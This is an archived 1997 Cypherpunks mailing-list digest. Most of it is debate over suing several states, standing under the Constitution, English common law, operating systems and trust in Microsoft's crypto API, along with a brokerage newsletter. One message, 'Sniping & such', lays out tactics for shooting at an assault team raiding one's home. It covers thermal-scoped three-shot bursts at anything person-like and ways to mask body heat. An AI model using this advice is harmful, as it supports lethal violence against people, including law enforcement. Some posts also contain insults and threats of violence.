Date: Tue, 30 Dec 1997 00:11:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Right to sue multiple states... (fwd)
Message-ID: <199712291630.KAA02022@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 09:39:29 -0600
> Subject: Re: Right to sue multiple states...

> >Clearly my suing say the govenor and legislature of each of the 50 states
> >qualifies as a case involving citizens of different states and therefore
> >there is clearly a right to sue multiple states at the federal level and
> >falls under the responsibility of the Supreme Court.
> 
> Good point execpt are we talking of suing a States' governemnt for damages
> or are we talking of suing individules, who happen to be part of a State's
> government, for damages?

We are talking about suing an individual for their actions in their official
capacity. People sign bills not offices. People commit crimes, offices
can't.

> I think that it is universal that one is
> precluded from suing a memeber of government for carying out the duties of
> office (ie: you can't sue the Governor of Texas for passing a law you
> don't like while you can sue the govenor if hits your car going down the
> road).

I can find nothing in the Constitution that prohibits this, and since the
10th limits the feds authority by extension it is permissible.

 --------------------------------------------------------------------------

			       ARTICLE III. 
 
 
Section 1.  The judicial Power of the United States, shall be invested 
in one supreme Court, and in such inferior Courts as the Congress may from 
time to time ordain and establish.

Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls;

	In all Cases, affecting Ambassadors, other public Ministers and 
Consuls, and those in which a State shall be Party, the supreme Court shall 
have original Jurisdiction.

	The Trial of all Crimes, except in Cases of Impeachment, shall be 
by Jury; and such Trial shall be held in the State where the said Crimes 
shall have been committed; but when not committed within any State, the Trial 
shall be at such Place or Places as the Congress may by Law have directed. 

 ------------------------------------------------------------------------

Clearly the Constitution allows charges against individuals for their actions
while in office. Otherwise how would anyone be impeached?

The person holding an office is responsible for all actions of that office
and are in fact *personaly* responsible for those actions.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 01:08:44 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291621.KAA01960@einstein.ssz.com>
Message-ID: <199712291709.MAA20718@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291621.KAA01960@einstein.ssz.com>, on 12/29/97 
   at 11:21 AM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@invweb.net>
>> Date: Mon, 29 Dec 97 09:17:55 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> Well you can only sue the state that has caused some form of direct damage
>> against you.

>Really? Where is that in the Constitution? I can't sue a state or the
>federal government on an issue of process or procedure unless I
>*personaly* have been effected? Malarky. The simple fact that I am a
>citizen that *could* be effected is sufficient grounds to file. Especialy
>considering the detailing of authority in the 10th.

>If this were so I would not be able to file against a law regulating, for
>example, a religion unless I happen to be a participant of that religion.
>This is clearly not constitutional since any law threating a single
>religion by extension can and does threaten all religious freedom in the
>country.

>> If both Texas and Alaska are doing somthing Unconstitutional
>> but Texas is the only one who has directly caused damage then you should
>> only be able to sue Texas.

>Why? If both states are participating in an illegal action - such as
>complying with unconstitutional federal regulations - then even a single
>state in which I *don't* reside nor have *ever* been in is a clear threat
>to my constitutional rights.  Remember the feds are *required* to
>guarantee a constitutional government in *all* states and that all
>priviliges and immunitites be recognized by those states - irrespective
>of my current geographic location. Now if we accept the argument that the
>14th extends my federal rights to the states then the wrongful action and
>its application is even more clearly relevant. However, the 14th is not
>necessary for this to be the case.

No this flys in the face of 200 yrs of American laws and centuries more of
English law. If your rights have not been infringed then you can't sue. If
the State of Alaska passes a law that christianity is baned unless you are
a citizen of Alaska, and thus your rights have been infringed, you have no
basis to file suit! Now you can fly up to Alaska stay for a few mins and
then file suit as now you have a claim of infringement.

This is no different than if John Doe goes and beats you neighbor with a
baseball bat. You can not file asault charges against him only your
neighbor can.

At the hart of the matter is the theory of decentrialized government and
wether the citizens of one state have the right to force the citizens of
another state to bend to their will. Myself personlly do not want the
people of NY, or TX, dictating to me how I should live in FL any more than
I want the Feds to do so. If you wish to come here and live here then you
should be given an equal voice on how we do things otherwise it's none of
your dam business. This swings both ways. I am sure that you would not
want the people of other states dictating what laws TX must or must not
pass.

>(thankfuly, since one of my claims is that rights are not equivalent to
>priviliges or immunities)

>It is the precedence and not the personal application that is
>unconstitutional.

No what we are getting into is the murky area of "potential to do harm".

>> I think that in the majority of
>> cases one will find that a greviance will be limited to a single state (I
>> think it would be very rare to find a case where all 50 states had
>> directly caused damage against an individule).

>- Illegal taxation and the compliance of the states in turning over money
>  illegaly

>- regulation and prohibition of firearms and the states complicancy
>  in breaking the 2nd.

>- the provisioning and support of military operations relating to the
>  Army and Air Force (which is unconstitutional unless part of the Army
>  or Navy) for more than 2 year terms.

>- the failure of the US govt. to train and arm the militia in the several
>  states

>- the various federal regulations limiting consensual crimes contrary
>  to the letter and spirit of the 9th and 10th.

Well all the above cases seem to be direct grivences against the Federal
Government not the individule States. Now you may have a case for grivence
against TX, you being a citizen of Texas, for complacency in these actions
of the Federal Government but they are really two seperate cases. You have
the greviance against the Fed's for violating the Constution and you have
the greviance against TX for not protecting your rights. Alaska on the
otherhand has no obligation nor right to protect you as you are neither a
citizen or resident of that State and it's powers are limited to it's
boundaries.

>- the abrogation of the states duties as equals to the federal govt.
>  and their duties as a part of the checks and balances of the
>  Constitution.

Here is where you would have a gerviance against the states. Even so you
would be limited to filing a greviance against the state you were a
citizen and/or resident of.

>And as a matter of course most other issues resting on Constitutional
>jurisdiction involving the willing compliance of state government.

>> An example of this would be back in the 50's with the forced segregation
>> laws. If you were living in Georga and wished to bring suit against the
>> state for violating your rights you would be limited to only suing Georga
>> even though AL,FL,SC,NC,TX,AR, all had the same laws on the books.

>Nobody that I can find has *ever* even tried to do this so how can it be
>undoable? It's a pity there wasn't some young turk back then to give it a
>shot - course there doesn't seem to be any young turks now willing to do
>it either...;(

I was only presenting this as a hypothetical senario. I am unaware of
anyone bringing suit against all 50 states this entire discution is of a
hypothetical nature.

>Now, if I can figure a way around the Supreme Courts 3 year
>requirement...

If we could only find a way to create a county of men rather than a county
of sheeple... :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 00:34:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Freedom Forum report on the State of the First Amendment (fwd)
Message-ID: <199712291651.KAA02123@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 29 Dec 1997 17:12:06 +0100 (MET)
> Subject: Re: Freedom Forum report on the State of the First Amendment
> From: nobody@REPLAY.COM (Anonymous)

> >Hmmm...
> >
> >Apologies.  In *theory* you have those rights, on *paper*, you have those
> >rights, but in *practice*, you're correct, the Government has power that
> >it gleefully abuses, forcing others to comply w/ political correctness.
> 
> Well no, on paper you do have those rights, and you don't have those
> rights.  Laws have been written so that you do not have those rights.
> Are those laws consitutional?  No.  Does the fascist regime, or the
> average apathetic American care?  No.

All it takes is a small group of individuals willing to fight the fight.
Constitutional democracy is *not* mob rule.

As long as you quit because nobody else will pat you on the shoulder and
tell you how right you are then you aren't freedom loving.

Freedom is a selfish endeavour.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 01:25:23 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Re: Why I Support Microsoft
In-Reply-To: <199712291701.MAA16873@mx01.together.net>
Message-ID: <199712291723.MAA20855@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291701.MAA16873@mx01.together.net>, on 12/29/97 
   at 12:01 PM, "Brian B. Riley" <brianbr@together.net> said:

> that's OK, we Mac-heads have MacLinkPlus translators, we just get em to 
>write another half dozen or so  translators for Linux and Linux file 
>system recognitions to the OS, no big deal ... we have always prided 
>ourselves that MacOS often reads and processes Windoze documents better 
>than WinDoze does ...

Hey now that's OS/2 line: "A Better DOS than DOS, a better Windows than
Windows" :))

Right now I am playing with a program called Executor which allows me to
run Mac software on my Intell box. Linux is not a problem as most of the
Linux programs have been ported over to OS/2 using EMX/GCC (my current CLI
is more *nix like than it is OS/2-DOS like). Even XFree86 has been ported
over.

There is even a Win32 project going on to allow the running of Win95/NT
programs under OS/2 (if anyone would *want* to run that crap).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 01:27:20 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291735.LAA02466@einstein.ssz.com>
Message-ID: <199712291728.MAA20900@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291735.LAA02466@einstein.ssz.com>, on 12/29/97 
   at 12:35 PM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@invweb.net>
>> Date: Mon, 29 Dec 97 10:32:02 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> No this flys in the face of 200 yrs of American laws and centuries more of
>> English law. If your rights have not been infringed then you can't sue.

>The founding fathers took care of this argument also...


> 
>			THE CONSTITUTION OF THE 
>			     UNITED STATES 
>  
>				ARTICLE VI. 
> 
>	This Constitution, and the Laws of the United States which shall  be
>made in Pursuance thereof; and all Treaties made, or which shall be made,
> under the Authority of the United States, shall be the supreme Law of
>the  Land; and the Judges in every State shall be bound thereby, any
>Thing in the  Constitution or Laws of any State to the Contrary
>notwithstanding. 

I fail to see how this gives you the right to bring suit when you were not
the infringed party??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 01:11:23 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Sniping & such...
Message-ID: <199712291731.LAA02410@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

To address Tim's question about bolt-actions. As far as I know the Marine
sniper still uses the Remington 7.62 bolt-action as his arm of choice. The
beauty of the H&K blow-back mechanism is that it is very accurate at long
range compared to other gas operated mechanism.

However, in the situation we are discussion - taking on an assault team with
snipers, aka anti-sniping, this level of accuracy is irrelevant. The goal is
to stop the assault. To this end single shot accuracy is irrelevant. The
reason is that we are not trying to hit a 16 in.^2 piece of brain pan and
*not* hit the hostage in front. What we *are* trying to do is locate and
eliminate specific targets and any ancillary hits to personnel on that end
are a *good* thing. To that end I still like the H&K's because they have
the 3-shot selector. My goal would be to set my IIS to show hot targets as
black, with the black threshold about 90F. I would then pop off a 3-shot
group into anything that looked the least bit like a person. Think of it as
a .308 mini-shotgun at 600 yds. Under those conditions a 6-12 in. spread
*is* a good thing. 

With this in mind, you would want to wear nomex to reduce your heat
signature, a gillie suit for reduced visual targeting, and some sort of cool
suit (from your local auto performance shop) with a modified and remote
dissipator to reduce your heat signature so that *their* scopes don't show
you as black. If you're in your house a good place to put the dissipator
would be in the bathtub or sink. You might also want to cool-suit the gun as
well. If you're in the field the dissipator should go behind and below your
level of site, it's probably a good thing to cover it with dirt or debris as
well.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 01:14:28 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: constitution.amendmentxi.html (fwd)
Message-ID: <199712291735.LAA02466@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 10:32:02 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> No this flys in the face of 200 yrs of American laws and centuries more of
> English law. If your rights have not been infringed then you can't sue.

The founding fathers took care of this argument also...


 
			THE CONSTITUTION OF THE 
			     UNITED STATES 
  
				ARTICLE VI. 
 
	This Constitution, and the Laws of the United States which shall 
be made in Pursuance thereof; and all Treaties made, or which shall be made, 
under the Authority of the United States, shall be the supreme Law of the 
Land; and the Judges in every State shall be bound thereby, any Thing in the 
Constitution or Laws of any State to the Contrary notwithstanding. 


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 01:46:01 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291754.LAA02623@einstein.ssz.com>
Message-ID: <199712291746.MAA21063@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291754.LAA02623@einstein.ssz.com>, on 12/29/97 
   at 12:54 PM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@invweb.net>
>> Date: Mon, 29 Dec 97 11:22:11 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> I fail to see how this gives you the right to bring suit when you were not
>> the infringed party??

>That's your problem Bill, you don't 'see'.

>I am a citizen of the United States, all laws passed at the federal level
>and *any* parties which participate in the application of those laws
>whether against me or another are in fact threatening my liberty if those
>laws are unconstitutional.

>You fuck over one citizen, you fuck over all citizens.

>*THAT* is what makes me the infringed party.

BULL!

By your logic the individule States have no sovernty and the citizens of
one state can impose thier will against the citizens of another. This
clearly goes against both the spirit and the letter of the Constitution.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@witcapital.com
Date: Tue, 30 Dec 1997 00:57:53 +0800
To: cypherpunks@toad.com
Subject: Wit Capital Update: Virtual Roadshow Service Launched
Message-ID: <199712291643.IAA11268@toad.com>
MIME-Version: 1.0
Content-Type: text/plain





Wit Capital Update
December 29, 1997
www.witcapital.com
Member NASD/SIPC

Wit Capital has launched an exciting new service that will help you learn more about the public offerings on our web site.  For selected Wit Capital offerings, in connection with your review of the prospectus, you'll find "virtual roadshow" presentations available for viewing right on your PC.

A roadshow is the process by which underwriters acquaint investors with the products, people and finances of the company whose stock is to be publicly offered.  Traditionally, only institutional investors are invited to see these presentations, but now you can view them at the click of your mouse.

To view a virtual roadshow, go to the Look at New Issues section of our web site, find the prospectus that interests you and as part of your review of the prospectus, click the button marked View Roadshow.  You'll be asked to download a plug-in called RealPlayer 5.0, for which you'll see easy instructions.

We encourage you to read the complete prospectus for any Wit Capital offering. 











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 02:17:35 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Abandonment of legal precedence...
In-Reply-To: <199712291809.MAA02745@einstein.ssz.com>
Message-ID: <199712291817.NAA21347@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291809.MAA02745@einstein.ssz.com>, on 12/29/97 
   at 12:09 PM, Jim Choate <ravage@ssz.com> said:

>The *entire* point of the forming of the United States over 200 years ago
>was the specific intent to break with precedence, in particular *English*
>precedence, and find a new way.

Well that may sound nice and give you all kinds of warm fuzzies the fact
of the matter is English Common Law is the basis of the Judicial System in
America as it was before the break with England.

While the revolution changed the political form of government it did
little to change the judical system. Murder was still murder, theift was
still theift, contracts were still valid before and after the war.

>[personaly, every time I hear somebody mention English commen law as a
>justification to deny the Constitution I want to slap the holy shit out
>of them]

FL is not that far of a drive Jim, you are more than welcome to come on
down and give it your best shot. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 01:35:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: constitution.amendmentxi.html (fwd)
Message-ID: <199712291754.LAA02623@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 11:22:11 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> I fail to see how this gives you the right to bring suit when you were not
> the infringed party??

That's your problem Bill, you don't 'see'.

I am a citizen of the United States, all laws passed at the federal level
and *any* parties which participate in the application of those laws whether
against me or another are in fact threatening my liberty if those laws are
unconstitutional.

You fuck over one citizen, you fuck over all citizens.

*THAT* is what makes me the infringed party.


			AMENDMENTS TO THE CONSTITUTION 
 
				ARTICLE IX. 
 
	The enumeration of the Constitution, of certain rights, shall 
not be construed to deny or disparage others retained by the people. 
 
 
 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 

 -------------------------------------------------------------------------

            If ye love wealth greater than liberty, the tranquility
            of servitude greater than the animating contest for
            freedom, go home from us in peace. We seek not your
            counsel, nor your arms. Crouch down and lick the hand
            that feeds you. May your chains set lightly upon you;
            and may posterity forget that ye were our countrymen.
 
                                                  Samuel Adams


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 30 Dec 1997 01:07:26 +0800
To: "Patrick May" <cypherpunks@cyberpass.net>
Subject: Re: Why I Support Microsoft
Message-ID: <199712291701.MAA16873@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/29/97 6:47 AM, Patrick May (pjm@spe.com)  passed this wisdom:

>     Okay, so I'm a UNIX-head; I forgot about the Macs (a dangerous
>thing to do, given the ferocity of their supporters).  If the
>government were to adopt my suggestion, two major results would be:
>
>     - The third party market for Linux software would grow rapidly
>       and enormously.
>     - The government's software budget would be reduced dramatically.

 that's OK, we Mac-heads have MacLinkPlus translators, we just get em to 
write another half dozen or so  translators for Linux and Linux file 
system recognitions to the OS, no big deal ... we have always prided 
ourselves that MacOS often reads and processes Windoze documents better 
than WinDoze does ...

Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "In effect, to follow, not to force the public inclination; to give a
   direction, a form, a technical dress, and a specific sanction, to the
   general sense of the community, is the true end of legislature." 
       -- Edmund Burke






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 01:48:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Abandonment of legal precedence...
Message-ID: <199712291809.MAA02745@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



When in the Course of human Events, it becomes necessary for 
one People to dissolve the Political bands which have connected 
them with another, and to assume among the Powers of the Earth, 
the separate and equal station to which the Laws of Nature and 
of Nature's God entitle them, a decent respect to the Opinions 
of Mankind requires that they should declare the causes which 
impel them to the Separation. 
 
     We hold these Truths to be self-evident, that all Men are 
created equal, that they are endowed by their Creator with 
certain unalienable rights, that among these are Life, Liberty, 
and the Pursuit of Happiness--That to secure these Rights, 
Governments are instituted among Men, deriving their just Powers 
from the Consent of the Governed, that whenever any Form of 
Government becomes destructive of these Ends, it is the Right of 
the People to alter or to abolish it, and to institute new 
Government, laying its foundation on such Principles and 
organizing its Powers in such Form, as to them shall seem most 
likely to effect their Safety and Happiness.  Prudence, indeed, 
will dictate that Governments long established should not be 
changed for light and transient Causes; and accordingly all 
Experience hath shewn, that Mankind are more disposed to suffer, 
while evils are sufferable, than to right themselves by 
abolishing the Forms to which they are accustomed.  But when a 
long train of Abuses and Ursurpations, pursuing invariably the 
same Object, evinces a Design to reduce them under absolute 
Despotism, it is their Right, it is their Duty, to throw off such 
Government, and to provide new Guards for their future Security. 
Such has been the patient sufferance of these Colonies; and such 
is now the necessity which constrains them to alter their former 
Systems of Government.  The history of the present King of Great 
Britain is a history of repeated injuries and usurpations, all 
having in direct object the establishment of an absolute Tyranny 
over these States.  To prove this, let Facts be submitted to a 
candid world. 

 ------------------------------------------------------------------------

The *entire* point of the forming of the United States over 200 years ago
was the specific intent to break with precedence, in particular *English*
precedence, and find a new way.

[personaly, every time I hear somebody mention English commen law as a
justification to deny the Constitution I want to slap the holy shit out
of them]

In short (paraphrased),

I took the road less travelled, and it made all the difference.

                                     -don't remember-


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 02:33:49 +0800
To: David Honig <honig@otc.net>
Subject: Re: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: <3.0.5.32.19971229094401.007a7570@otc.net>
Message-ID: <199712291829.NAA21443@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.5.32.19971229094401.007a7570@otc.net>, on 12/29/97 
   at 12:44 PM, David Honig <honig@otc.net> said:

>At 11:12 AM 12/26/97 -0600, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>Hash: SHA1
>>
>>In <Pine.SUN.3.96.971226114446.17857A-101000@beast.brainlink.com>, on
>>12/26/97 
>>   at 11:45 AM, Ray Arachelian <sunder@brainlink.com> said:
>>
>>>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>>>idea on JA's reputation capital though...)
>>
>>Well to be honest anyone who would trust the M$ crypto API get what they
>>deserve.
>>
>>

>Is this just random MS-baiting or do you have a real point re the API?

>The API describes an interface to things you'd need for a cryptosystem. I
>believe it is up to implementors to instantiate the functions
>appropriately.


1. The sorce code for the crypto API is not available for peer review. I
would not recomend using any crypto API where I was unable to review if it
performend as advertised.

2. If one does not have the ability of peer-review then one must rely on
trust. Through past actions MS has shown to be an untrustworthy company
(IMHO trust is not a sufficient replacement for peer review).

3. The MS crypto API can not be modified nor replaced. Export version of
the MS API contain only export apporved algrothms of export approved
strength.

I think the 3 reasons above should be sufficient reason not to use the
API.

This is not soly an attack against M$. The same argument can be used
against SUN, IBM, RSADSI, Lotus, ...ect.

I wouldn't trust any of them to tell me that water was wet let alone tell
me that their crypto API's were secure. No Code = No Trust!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 01:59:33 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: constitution.amendmentxi.html (fwd)
Message-ID: <199712291820.MAA02795@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 11:36:51 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> By your logic the individule States have no sovernty and the citizens of
> one state can impose thier will against the citizens of another. This
> clearly goes against both the spirit and the letter of the Constitution.

Not exactly. States have the sovereignty *given* them by the Constitution
and their individual state constitutions. Further, one state can *not* under
the Constitution deny me a right in that state that I have in another.

Perhaps an example. The 2nd gives me the right to bear arms. Texas'
constitution gives the Texas legislature the right to regulate the ownership
and carrying of arms by Texas *citizens*. Those same laws could *not* be
used to deny a citizen of Louisiana from carrying their weapon if *their*
constitution does not regulate such activities.

It isn't *my* logic Bill, it's the Constitutions law:

 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 

 
It goes like this:

 -  A question of jurisdiction is noted.

 -  The Constitution is examined to see if it is assigned to the federal
    government.

 -  If it isn't then we look to see if the Constitution denies that power
    to the states. If not then the individual states may impliment it as
    *their* constitutions allow, provided it does not break any of the
    Constitutions dicta about equal protection and recognition.

 -  If the state constitution doesn't cover it *or* it is denied to the
    states by the Constitution then we each get to decide it on our own
    by our own means.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
